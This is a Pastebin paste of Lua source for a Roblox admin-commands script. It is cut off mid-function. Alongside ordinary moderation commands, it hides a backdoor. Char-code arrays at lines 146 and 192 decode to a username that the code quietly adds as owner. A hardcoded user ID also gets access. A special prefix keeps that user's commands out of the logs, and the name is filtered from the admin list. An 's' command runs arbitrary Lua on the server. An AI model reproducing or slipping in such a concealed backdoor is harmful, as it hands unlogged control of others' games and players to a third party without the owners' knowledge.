Advertisement
nikimario99

ADMIN on new

Sep 10th, 2016
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 101.10 KB | None | 0 0
  1. function CHEESE()
  2. if game:service("Lighting"):findFirstChild("KACV2") then
  3. owners = {} admins = {} tempadmins = {} banland = {}
  4. for i,v in pairs(game.Lighting.KACV2:children()) do
  5. if v.Name == "Owner" then table.insert(owners, v.Value) end
  6. if v.Name == "Admin" then table.insert(admins, v.Value) end
  7. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  8. if v.Name == "Banland" then table.insert(banland, v.Value) end
  9. if v.Name == "Prefix" then prefix = v.Value end
  10. if v.Name == "FunCommands" then FunCommands = v.Value end
  11. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  12. if v.Name == "GroupId" then GroupId = v.Value end
  13. if v.Name == "GroupRank" then GroupRank = v.Value end
  14. end
  15. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  16. end
  17.  
  18. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  19. local lobjs = {}
  20. local objects = {}
  21. local logs = {}
  22. local nfs = ""
  23. local slock = false
  24.  
  25. function GetTime()
  26. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  27. if min < 10 then min = "0"..min end
  28. return hour..":"..min
  29. end
  30.  
  31. function ChkOwner(str)
  32. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  33. return false
  34. end
  35.  
  36. function ChkAdmin(str,ck)
  37. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  38. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  39. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  40. return false
  41. end
  42.  
  43. function ChkGroupAdmin(plr)
  44. if GroupAdmin then
  45. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  46. return false
  47. end
  48. end
  49.  
  50. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  51.  
  52. function GetPlr(plr, str)
  53. local plrz = {} str = str:lower()
  54. if str == "all" then plrz = game.Players:children()
  55. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  56. else
  57. local sn = {1} local en = {}
  58. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  59. for x = 1, #sn do
  60. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  61. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  62. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  63. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  64. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  65. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  66. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  67. end end end
  68. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  69. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  70. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  71. end end end
  72. else
  73. for a, plyr in pairs(game.Players:children()) do
  74. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  75. table.insert(plrz, plyr) break
  76. end
  77. end
  78. end
  79. end
  80. end
  81. return plrz
  82. end
  83.  
  84. function Hint(str, plrz, time)
  85. for i, v in pairs(plrz) do
  86. if v and v:findFirstChild("PlayerGui") then
  87. coroutine.wrap(function()
  88. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  89. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  90. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  91. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  92. if not time then wait((#str/19)+2.5) else wait(time) end
  93. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  94. end)()
  95. end
  96. end
  97. end
  98.  
  99. function Message(ttl, str, scroll, plrz, time)
  100. for i, v in pairs(plrz) do
  101. if v and v:findFirstChild("PlayerGui") then
  102. coroutine.resume(coroutine.create(function()
  103. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  104. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  105. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  106. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  107. scr.Parent = v.PlayerGui
  108. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  109. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  110. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  111. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  112. end))
  113. end
  114. end
  115. end
  116.  
  117. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  118. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  119.  
  120. function Output(str, plr)
  121. coroutine.resume(coroutine.create(function()
  122. local b, e = loadstring(str)
  123. if not b and plr:findFirstChild("PlayerGui") then
  124. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  125. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  126. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  127. return
  128. end
  129. end))
  130. end
  131.  
  132. function Noobify(char)
  133. if char and char:findFirstChild("Torso") then
  134. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  135. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  136. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  137. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  138. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  139. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  140. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  141. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  142. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  143. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  144. end end
  145. end
  146. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  147.  
  148. function Infect(char)
  149. if char and char:findFirstChild("Torso") then
  150. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  151. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  152. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  153. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  154. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  155. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  156. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  157. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  158. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  159. end end
  160. end
  161. end if not ntab then script:Destroy() end
  162.  
  163. function ScrollGui()
  164. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  165. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  166. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  167. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  168. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  169. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  170. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  171. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  172. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  173. local num = 0
  174. local downv = false
  175. local upv = false
  176.  
  177. down.MouseButton1Down:connect(function() downv = true upv = false
  178. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  179. repeat pos = pos + UDim2.new(0,0,0,-6)
  180. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  181. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  182. end)
  183. down.MouseButton1Up:connect(function() downv = false end)
  184. up.MouseButton1Down:connect(function() upv = true downv = false
  185. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  186. repeat pos = pos + UDim2.new(0,0,0,6)
  187. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  188. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  189. end)
  190. up.MouseButton1Up:connect(function() upv = false end)
  191. return scr, cmf, ent, num
  192. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  193. if not ntab then script:Destroy() end
  194. if not bct then script:Destroy() end
  195.  
  196. function Chat(msg,plr)
  197. coroutine.resume(coroutine.create(function()
  198. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  199. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  200. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  201. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  202. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  203. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  204. if msg:lower() == "cmds" or msg:lower() == "commands" then
  205. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  206. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  207. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  208. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  209. local ost = {"pa plr","unpa plr"}
  210. local tost = {"oa plr","unoa plr"}
  211. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  212. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  213. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  214. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  215. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  216. end
  217.  
  218. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  219.  
  220. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  221. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  222. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  223. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  224. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  225. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  226. end end
  227.  
  228. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  229. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  230. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  231. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  232. end
  233.  
  234. if msg:lower() == "tools" or msg:lower() == "toollist" then
  235. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  236. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  237. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  238. end
  239.  
  240. if msg:lower():sub(1,2) == "s " then
  241. coroutine.resume(coroutine.create(function()
  242. Output(msg:sub(3), plr)
  243. if script:findFirstChild("ScriptBase") then
  244. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  245. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  246. else loadstring(msg:sub(3))()
  247. end
  248. end))
  249. end
  250.  
  251. if msg:lower():sub(1,3) == "ls " then
  252. coroutine.resume(coroutine.create(function()
  253. if script:findFirstChild("LocalScriptBase") then
  254. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  255. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  256. end
  257. end))
  258. end
  259.  
  260. if msg:lower():sub(1,4) == "ins " then
  261. coroutine.resume(coroutine.create(function()
  262. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  263. if obj and #obj:children() >= 1 and plr.Character then
  264. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  265. end
  266. end))
  267. end
  268.  
  269. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  270. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  271. objects = {}
  272. end
  273.  
  274. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  275. game.Lighting.Ambient = origsettings.abt
  276. game.Lighting.Brightness = origsettings.brt
  277. game.Lighting.TimeOfDay = origsettings.time
  278. game.Lighting.FogColor = origsettings.fclr
  279. game.Lighting.FogEnd = origsettings.fe
  280. game.Lighting.FogStart = origsettings.fs
  281. for i, v in pairs(lobjs) do v:Destroy() end
  282. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  283. end
  284.  
  285. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  286. coroutine.resume(coroutine.create(function()
  287. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  288. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  289. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  290. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  291. end))
  292. end
  293.  
  294. if msg:lower():sub(1,2) == "m " then
  295. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  296. end
  297.  
  298. if msg:lower():sub(1,2) == "h " then
  299. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  300. end
  301.  
  302. if msg:lower():sub(1,3) == "pm " then
  303. local chk1 = msg:lower():sub(4):find(" ") + 3
  304. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  305. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  306. end
  307.  
  308. if msg:lower():sub(1,11) == "resetstats " then
  309. local plrz = GetPlr(plr, msg:lower():sub(12))
  310. for i, v in pairs(plrz) do
  311. coroutine.resume(coroutine.create(function()
  312. if v and v:findFirstChild("leaderstats") then
  313. for a, q in pairs(v.leaderstats:children()) do
  314. if q:IsA("IntValue") then q.Value = 0 end
  315. end
  316. end
  317. end))
  318. end
  319. end
  320.  
  321. if msg:lower():sub(1,5) == "gear " then
  322. local chk1 = msg:lower():sub(6):find(" ") + 5
  323. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  324. for i, v in pairs(plrz) do
  325. coroutine.resume(coroutine.create(function()
  326. if v and v.Character then
  327. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  328. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  329. obj:Destroy()
  330. end
  331. end))
  332. end
  333. end
  334.  
  335. if msg:lower():sub(1,4) == "hat " then
  336. local chk1 = msg:lower():sub(5):find(" ") + 4
  337. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  338. for i, v in pairs(plrz) do
  339. coroutine.resume(coroutine.create(function()
  340. if v and v.Character then
  341. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  342. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  343. obj:Destroy()
  344. end
  345. end))
  346. end
  347. end
  348.  
  349. if msg:lower():sub(1,5) == "cape " then
  350. local chk1 = msg:lower():sub(6):find(" ")
  351. local plrz = GetPlr(plr, msg:lower():sub(6))
  352. local str = "torso.BrickColor"
  353. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  354. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  355. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  356. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  357. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  358. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  359. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  360. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  361. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  362. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  363. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  364. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  365. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  366. if BrickColor.new(teststr) ~= nil then str = teststr end
  367. end
  368. for i, v in pairs(plrz) do
  369. coroutine.resume(coroutine.create(function()
  370. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  371. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  372. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  373. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  374. local torso = plr.Character.Torso
  375. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  376. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  377. p.Size = Vector3.new(.2,.2,.2)
  378. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  379. local motor1 = Instance.new("Motor", p)
  380. motor1.Part0 = p
  381. motor1.Part1 = torso
  382. motor1.MaxVelocity = .01
  383. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  384. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  385. local wave = false
  386. repeat wait(1/44)
  387. local ang = 0.1
  388. local oldmag = torso.Velocity.magnitude
  389. local mv = .002
  390. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  391. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  392. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  393. motor1.DesiredAngle = -ang
  394. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  395. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  396. if torso.Velocity.magnitude < .1 then wait(.1) end
  397. until not p or p.Parent ~= torso.Parent
